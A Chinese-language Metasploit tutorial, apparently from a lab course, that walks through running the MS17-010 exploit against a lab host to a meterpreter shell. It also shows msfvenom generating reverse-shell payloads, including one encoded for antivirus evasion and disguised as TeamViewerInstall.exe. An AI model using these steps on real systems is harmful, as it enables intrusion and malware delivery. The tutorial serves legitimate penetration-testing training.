简介
这一节主要讲解metasploit framework的基础使用方法的相关知识,metasploit是基于ruby语言开发的一个综合的渗透测试的平台,我们可以直接在这个平台上进行一系列的渗透测试工作,metasploit这个工具分为:开源版本的叫做’msfconsole’,商用版本的叫做’metasploit pro’,开源版本的相对于商业版本的软件更新慢些,部分功能不能使用,但基本功能完全可以使用,后面我们讲解的内容都是基于开源版本msfconsole进行的,商用版本的metasploit pro这里不做讲解,基本等熟悉使用msfconsole,那么也就会用metasploit pro了,接下来我们来讲解msfconsole的相关知识
msfconsole
开源版本的相对于商用版本的来说,我们只能基于命令行来进行渗透测试工作
安装与更新msfconsole
一般在parrot sec和kali linux系统内都已经安装了msfconsole,我们只需要在命令行执行命令就能运行程序,在运行程序前,我们要保持msf软件要是最新版本的,这样我们能使用最新的模块和payload等,一般有两种方式来更新msf,如下:
- 方法一
user@htb$ sudo apt update && apt install metasploit-framework
- 方法二
user@htb$ sudo msfupdate
执行如上命令,我们就能把msf升级到最新版本
运行msfconsole
我们只需在终端输入命令,如下:
user@htb$ sudo msfconsole -q
Tips:-q设置了,启动msfconsole就不会打印banner了
msfconsole功能结构
msfconsole主要的5大功能,如下:
- auxiliary模块:包含对渗透测试者提供大量辅助模块测试
- exploits模块:包含对目标进行攻击的相关工具
- payload模块:包含成功攻击后,目标执行的一段代码
- post模块:包含成功攻击后,获取更多的信息
msfconsole组成部分
Modules
modules模块预置了许多的脚本和攻击代码,方便渗透测试者使用来测试目标,modules模块分为如下几类:
- auxiliary:模块包含代码审计,对目标进行扫描,模糊测试等,主要用来在攻击前进行信息搜集
- encoders:模块包含许多编码器,常用作对payload进行编码,绕过一些安全软件的检测等
- exploits:模块包含对于漏洞的攻击代码,我们主要就是通过这个模块来对目标进行攻击
- nops:模块包含一些空指令,可以用来添加到payloads里,预防安全软件对paylaod的检测
- payloads:模块包含攻击成功后,执行的代码,一般用来获取shell,使攻击者可以与目标机进行交互,从而执行攻击者发出的一些指令
- plugins:模块包含一些拓展功能的脚本,可以在msf里直接使用
- post:模块包含一些在攻击完成后,进行更加详细的信息搜集功能的脚本等
modules的选择
我们该如何选择我们需要使用的模块,下面我们先来介绍一个针对ftp服务的攻击脚本,来讲解下使用方法,如下:
794 exploit/windows/ftp/scriptftp_list
- 794:索引,表示这个脚本的序号
- exploit:表示这个脚本是用来攻击的
- windows:表示这个脚本使用的操作系统,这里是windows
- ftp:表示这个脚本用来攻击的服务,这里是ftp服务
- scriptftp_list:脚本名
我们可以通过use <no.>来使用这个脚本,:如下:
msf6 > use 794
这样我们就选择了这个脚本,稍后会讲解使用方法
modules搜索
msf提供了我们一个用来搜索在modules模块中的脚本的命令search,这个命令能很方便的帮我们找到我们需要的脚本,如下:
msf6 > search [<options>] [<keywords>:<value>]
假如我们要搜索一个存在老版本的windows系统里对EternalRomance漏洞的攻击模块,我们使用如下命令:
msf6 > search eternalromance
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
这里我们搜索到了和eternalromance这个漏洞相关的模块,我们看到我们搜索到的不仅有exploit功能的模块,还有auxiliary功能的模块,那我们如果只要搜索exploit功能的模块呢,我们使用如下命令:
msf6 > search eternalromance type:exploit
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
这样我们就只搜索exploit功能的模块了,关于search命令的其他一些用法可通过如下命令查看:
msf6 > help search
modules使用
通过上面的学习我们已经知道了如何选择一个模块,下面我们来讲解下如何使用这个模块,这里我们以一个windows平台上的SMB服务存在的EternalRomance漏洞来讲解,如下:
在我们开始选择模块前,我们需要先扫描目标开放的服务和端口号,命令如下:
user@htb$ nmap -sV 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 21:38 UTC
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.10.40
Host is up (0.051s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.87 seconds
通过扫描结果,我们发现目标机445端口开放,运行平台windows7-10,我们搜索EternalRomance漏洞,命令如下:
msf6 > search eternalromance type:exploit
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
选择这个模块,命令如下:
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) >
现在我们已经选择了这个模块,下面我们来看下如何使用,在开始使用这个模块前,我们需要先进行设置,我们来看下需要设置哪些值,命令如下:
msf6 exploit(windows/smb/ms17_010_psexec) > options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
我们通过使用options命令查看当前脚本的设置,注意yes的是必填字段,no的可以不需要填,一般脚本必填的都是RHOSTS和LHOST这两个字段
- RHOSTS:表示目标机器的ip地址
- LHOST:表示攻击者的ip地址
设置RHOSTS的值,命令如下:
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
设置LHOST的值,命令如下:
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 10.10.10.20
LHOST => 10.10.10.20
Tips:我们可以通过info命令查看这个模块更加详细的说明
到这里我们已经设置好了我么需要使用的模块了,下面只需要运行这个模块,就能对目标进行攻击了,命令如下:
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter> shell
C:\Windows\system32>
攻击成功后会返回一个msf的shell叫做meterpreter,这个shell功能强大,我们可以通过help命令查看它的说明,这里我们通过输入shell命令,获取到了目标系统的shell
payloads
payloads分类
payloads模块包含了攻击成功后执行的一段代码,通常是获取到一个反弹的shell,payloads大致分为如下几类:
- single payload:独立载荷,直接植入目标系统执行相应的程序
- stager payload:传输器载荷,用于与目标进行稳定连接,在通过stage传输体进行攻击,如:shell
payloads搜索
我们可以在msfconsole终端输入如下命令搜索当前可以获取到的所有payload,如下:
msf6 > show payloads
Payloads
========
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 aix/ppc/shell_bind_tcp manual No AIX Command Shell, Bind TCP Inline
1 aix/ppc/shell_find_port manual No AIX Command Shell, Find Port Inline
2 aix/ppc/shell_interact manual No AIX execve Shell for inetd
3 aix/ppc/shell_reverse_tcp manual No AIX Command Shell, Reverse TCP Inline
4 android/meterpreter/reverse_http manual No Android Meterpreter, Android Reverse HTTP Stager
5 android/meterpreter/reverse_https manual No Android Meterpreter, Android Reverse HTTPS Stager
搜索指定的payload
我们可以在msfconsole终端上,输入grep命令指定输出字段,只搜索我们感兴趣的paylaod,命令如下:
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps
选择payload
我们使用set payload <no.>命令来选择一个payload,如下:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
payload => windows/x64/meterpreter/reverse_tcp
使用payload
当我们设置好payload后,我们就可以使用了,如下:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter 命令
meterpreter是msf的shell,这个shell拥有许多的命令,我们可以通过使用help命令查看,如下:
meterpreter > help
有关meterpreter的具体使用请查看帮助说明,通过上面的help命令可获得
encoders
encoders模块主要的功能是对payloads进行编码,来躲避一些安全软件的检测,让payloads最终能成功在目标系统上执行,不同的操作平台和cpu架构其编码出的结果都是不一样的,这些架构如下:
- x64
- x86
- sparc
- ppc
- mips
选择一个encoder编码器
在2015年之前,创建一个编码后的payload需要使用msfpayload生成,然后使用msfencoder来编码,在2015年之后这两个工具被整合到一起,我们现在只需要使用msfvenom工具就能直接创建一个编码后的payload,下面我们选择shikata_ga_nai这个编码器来创建一个payload,我们先来看下没有进行编码的payload
这里我们以windows/shell/reverse_tcp这个payload为例,如下:
- 创建一个没有编码的payload如下:
user@htb$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of perl file: 1674 bytes
my $buf =
"\xda\xc1\xba\x37\xc7\xcb\x5e\xd9\x74\x24\xf4\x5b\x2b\xc9" .
"\xb1\x59\x83\xeb\xfc\x31\x53\x15\x03\x53\x15\xd5\x32\x37" .
"\xb6\x96\xbd\xc8\x47\xc8\x8c\x1a\x23\x83\xbd\xaa\x27\xc1" .
"\x4d\x42\xd2\x6e\x1f\x40\x2c\x8f\x2b\x1a\x66\x60\x9b\x91" .
"\x50\x4f\x23\x89\xa1\xce\xdf\xd0\xf5\x30\xe1\x1a\x08\x31" .
<SNIP>
- 创建一个编码后的payload如下:
user@htb$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai succeeded with size 353 (iteration=1)
x86/shikata_ga_nai succeeded with size 380 (iteration=2)
x86/shikata_ga_nai chosen with final size 380
Payload size: 380 bytes
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
<SNIP>
Tips:编码后的payload保存在一个数组里,我们需要进行下处理获取到编码后的完整payload
这里我们假设我们生成一个exe格式的编码后的payload,命令如下:
user@htb$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)
x86/shikata_ga_nai chosen with final size 611
Payload size: 611 bytes
Final size of exe file: 73802 bytes
Error: Permission denied @ rb_sysopen - /root/Desktop/TeamViewerInstall.exe
我们来查看下这个编码后的payload是否能被安全检测软件检测到,命令如下:
user@htb$ msf-virustotal -k <API key> -f TeamViewerInstall.exe
[*] Using API key: <API key>
[*] Please wait while I upload TeamViewerInstall.exe...
[*] VirusTotal: Scan request successfully queued, come back later for the report
[*] Sample MD5 hash : 4f54cc46e2f55be168cc6114b74a3130
[*] Sample SHA1 hash : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Sample SHA256 hash : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Requesting the report...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Analysis Report: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================
Antivirus Detected Version Result Update
--------- -------- ------- ------ ------
ALYac true 1.1.3.1 Trojan.CryptZ.Gen 20220505
APEX true 6.288 Malicious 20220504
AVG true 21.1.5827.0 Win32:SwPatch [Wrm] 20220505
Acronis true 1.2.0.108 suspicious 20220426
Ad-Aware true 3.0.21.193 Trojan.CryptZ.Gen 20220505
AhnLab-V3 true 3.21.3.10230 Trojan/Win32.Shell.R1283 20220505
Alibaba false 0.3.0.5 20190527
Antiy-AVL false 3.0 20220505
Arcabit true 1.0.0.889 Trojan.CryptZ.Gen 20220505
Avast true 21.1.5827.0 Win32:SwPatch [Wrm] 20220505
Avira true 8.3.3.14 TR/Patched.Gen2 20220505
Baidu false 1.0.0.2 20190318
BitDefender true 7.2 Trojan.CryptZ.Gen 20220505
BitDefenderTheta true 7.2.37796.0 Gen:NN.ZexaF.34638.eq1@aC@Q!ici 20220428
Bkav true 1.3.0.9899 W32.FamVT.RorenNHc.Trojan 20220505
CAT-QuickHeal true 14.00 Trojan.Swrort.A 20220505
CMC false 2.10.2019.1 20211026
ClamAV true 0.105.0.0 Win.Trojan.MSShellcode-6360728-0 20220505
Comodo true 34592 TrojWare.Win32.Rozena.A@4jwdqr 20220505
CrowdStrike true 1.0 win/malicious_confidence_100% (D) 20220418
Cylance true 2.3.1.101 Unsafe 20220505
Cynet true 4.0.0.27 Malicious (score: 100) 20220505
Cyren true 6.5.1.2 W32/Swrort.A.gen!Eldorado 20220505
DrWeb true 7.0.56.4040 Trojan.Swrort.1 20220505
ESET-NOD32 true 25218 a variant of Win32/Rozena.AA 20220505
Elastic true 4.0.36 malicious (high confidence) 20220503
Emsisoft true 2021.5.0.7597 Trojan.CryptZ.Gen (B) 20220505
F-Secure false 18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t 20220505
FireEye true 35.24.1.0 Generic.mg.4f54cc46e2f55be1 20220505
Fortinet true 6.2.142.0 MalwThreat!0971IV 20220505
GData true A:25.32960B:27.27244 Trojan.CryptZ.Gen 20220505
Gridinsoft true 1.0.77.174 Trojan.Win32.Swrort.zv!s2 20220505
Ikarus true 6.0.24.0 Trojan.Win32.Swrort 20220505
Jiangmin false 16.0.100 20220504
K7AntiVirus true 12.10.42191 Trojan ( 001172b51 ) 20220505
K7GW true 12.10.42191 Trojan ( 001172b51 ) 20220505
Kaspersky true 21.0.1.45 HEUR:Trojan.Win32.Generic 20220505
Kingsoft false 2017.9.26.565 20220505
Lionic false 7.5 20220505
MAX true 2019.9.16.1 malware (ai score=89) 20220505
Malwarebytes true 4.2.2.27 Trojan.Rozena 20220505
MaxSecure true 1.0.0.1 Trojan.Malware.300983.susgen 20220505
McAfee true 6.0.6.653 Swrort.i 20220505
McAfee-GW-Edition true v2019.1.2+3728 BehavesLike.Win32.Swrort.lh 20220505
MicroWorld-eScan true 14.0.409.0 Trojan.CryptZ.Gen 20220505
Microsoft true 1.1.19200.5 Trojan:Win32/Meterpreter.A 20220505
NANO-Antivirus true 1.0.146.25588 Virus.Win32.Gen-Crypt.ccnc 20220505
Paloalto false 0.9.0.1003 20220505
Panda false 4.6.4.2 20220504
Rising true 25.0.0.27 Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1) 20220505
SUPERAntiSpyware true 5.6.0.1032 Trojan.Backdoor-Shell 20220430
Sangfor true 2.14.0.0 Trojan.Win32.Save.a 20220415
SentinelOne true 22.2.1.2 Static AI - Malicious PE 20220330
Sophos true 1.4.1.0 ML/PE-A + Mal/EncPk-ACE 20220505
Symantec true 1.17.0.0 Packed.Generic.347 20220505
TACHYON false 2022-05-05.02 20220505
Tencent true 1.0.0.1 Trojan.Win32.Cryptz.za 20220505
TrendMicro true 11.0.0.1006 BKDR_SWRORT.SM 20220505
TrendMicro-HouseCall true 10.0.0.1040 BKDR_SWRORT.SM 20220505
VBA32 false 5.0.0 20220505
ViRobot true 2014.3.20.0 Trojan.Win32.Elzob.Gen 20220504
VirIT false 9.5.188 20220504
Webroot false 1.0.0.403 20220505
Yandex true 5.5.2.24 Trojan.Rosena.Gen.1 20220428
Zillya false 2.0.0.4625 20220505
ZoneAlarm true 1.0 HEUR:Trojan.Win32.Generic 20220505
Zoner false 2.2.2.0 20220504
tehtris false v0.1.2 20220505
我们一般使用msf-virustotal工具来检测这个payload是否能躲避过一些安全软件的检测,这个工具使用前需要在virustotal上注册,然后获取到API key才能使用
databases
msfconsole支持postgreSQL数据库,我们可以直接快速的在msf终端操作数据库,postgreSQL数据库用来保存我们搜集的信息,方便我们直接读取使用,下面来介绍下在msf中我们如何来使用数据库
设置数据库
启动数据库
首先,我们要在我们的机器上开启postgreSQL数据库,命令如下:
user@htb$ sudo systemctl start postgresql
初始化数据库
当我们开启数据库后,然后创建一个msf的数据库,命令如下:
user@htb$ sudo msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
rake aborted!
NoMethodError: undefined method `without' for #<Bundler::Settings:0x000055dddcf8cba8>
Did you mean? with_options
<SNIP>
如果msf未更新可能会发生错误,所以在使用msf之前最好先更新到最新版本,然后我们在重新创建msf数据库,命令如下:
user@htb$ sudo msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization
如果msf数据库已经创建了,msf会提示已经配置了数据库,如果未创建数据库,将开始创建msf数据库,我们来查看下msf数据库是否创建,命令如下:
user@htb$ sudo msfdb status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
Active: active (exited) since Mon 2022-05-09 15:19:57 BST; 35min ago
Process: 2476 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 2476 (code=exited, status=0/SUCCESS)
CPU: 1ms
May 09 15:19:57 pwnbox-base systemd[1]: Starting PostgreSQL RDBMS...
May 09 15:19:57 pwnbox-base systemd[1]: Finished PostgreSQL RDBMS.
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
postgres 2458 postgres 5u IPv6 34336 0t0 TCP localhost:5432 (LISTEN)
postgres 2458 postgres 6u IPv4 34337 0t0 TCP localhost:5432 (LISTEN)
UID PID PPID C STIME TTY STAT TIME CMD
postgres 2458 1 0 15:19 ? Ss 0:00 /usr/lib/postgresql/13/bin/postgres -D /var/lib/postgresql/13/main -c con
[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)
如果初始化数据库没有发生错误,将成功创建并初始化数据库,如下:
user@htb$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
成功创建数据库后,我们通过msf连接数据库,命令如下:
user@htb$ sudo msfdb run
到这里,就已经连接上数据库了,下面我们来使用数据库
使用数据库
使用数据库我们需要创建一个workspace用来存放我们搜集的信息,默认msf数据库中有个default默认的workspace,'*'符号表示当前工作的workspace
- 查看当前的workspace,命令如下:
msf6 > workspace
* default
- 添加一个新的workspace
我们可以通过添加-a或-d来添加或删除workspace,我们可以通过workspace [name]命令来切换使用的workspace,命令如下:
msf6 > workspace -a Target_1
[*] Added workspace: Target_1
[*] Workspace: Target_1
msf6 > workspace Target_1
[*] Workspace: Target_1
msf6 > workspace
default
* Target_1
Tips:我们可以输入workspace -h设置来查看有关workspace的用法
- 导入nmap扫描的结果
msf6 > db_import Target.xml
Tips:扫描结果推荐保存为.xml格式的文件
- 使用hosts和services命令查询结果
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
10.10.10.40 Unknown device
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.40 135 tcp msrpc open Microsoft Windows RPC
10.10.10.40 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
10.10.10.40 445 tcp microsoft-ds open Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40 49152 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49153 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49154 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49155 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49156 tcp msrpc open Microsoft Windows RPC
10.10.10.40 49157 tcp msrpc open Microsoft Windows RPC
在msf中使用nmap
我们还可以直接在msf中使用nmap,我们使用db_nmap命令,如下:
msf6 > db_nmap -sV 10.10.10.8
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:04 UTC
[*] Nmap: Nmap scan report for 10.10.10.8
[*] Nmap: Host is up (0.016s latency).
[*] Nmap: Not shown: 999 filtered ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/TCP open http HttpFileServer httpd 2.3
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.12 seconds
数据备份
我们可以导出数据,作为备份,方便以后使用,我们使用db_export命令导出数据,如下:
msf6 > db_export -f xml backup.xml
[*] Starting export of workspace default to backup.xml [ xml ]...
[*] Finished export of workspace default to backup.xml [ xml ]...
和数据使用相关的命令
- hosts:显示当前数据库中保存的所有主机信息
- services:显示当前数据库中保存的所有服务信息
- creds:显示当前数据库中保存的所有与目标进行交互的凭证
- loot:显示当前数据库中保存的所有用户与服务凭证,与creds命令搭配使用
plugins
插件提供了一些拓展的功能,使metasploit-framework更加的强大,功能更加全面,我们可以很方便的使用
plugins使用
插件的目录:/usr/share/metasploit-framework/plugins
我们可以在msf中直接使用插件,如下:
- 加载插件
这里我们假设加载nessus插件,命令如下:
msf6 > load nessus
[*] Nessus Bridge for Metasploit
[*] Type nessus_help for a command listing
[*] Successfully loaded Plugin: Nessus
- 使用nessus插件
msf6 > nessus_help
Command Help Text
------- ---------
Generic Commands
----------------- -----------------
nessus_connect Connect to a Nessus server
nessus_logout Logout from the Nessus server
nessus_login Login into the connected Nessus server with a different username and
<SNIP>
nessus_user_del Delete a Nessus User
nessus_user_passwd Change Nessus Users Password
Policy Commands
----------------- -----------------
nessus_policy_list List all polciies
nessus_policy_del Delete a policy
如果插件正确安装了,我们就可以直接使用了,如果发生错误,可能插件没有正确安装,如下:
msf6 > load Plugin_That_Does_Not_Exist
[-] Failed to load plugin from /usr/share/metasploit-framework/plugins/Plugin_That_Does_Not_Exist.rb: cannot load such file -- /usr/share/metasploit-framework/plugins/Plugin_That_Does_Not_Exist.rb
安装新的插件
大部分常用的插件在我们更新系统的时候就已经安装了,我们这里学习下怎样安装一个新的插件,我们这里使用 DarkOperator’s Metasploit-Plugins来安装插件,命令如下:
user@htb$ git clone https://github.com/darkoperator/Metasploit-Plugins
user@htb$ ls Metasploit-Plugins
aggregator.rb ips_filter.rb pcap_log.rb sqlmap.rb
alias.rb komand.rb pentest.rb thread.rb
auto_add_route.rb lab.rb request.rb token_adduser.rb
beholder.rb libnotify.rb rssfeed.rb token_hunter.rb
db_credcollect.rb msfd.rb sample.rb twitt.rb
db_tracker.rb msgrpc.rb session_notifier.rb wiki.rb
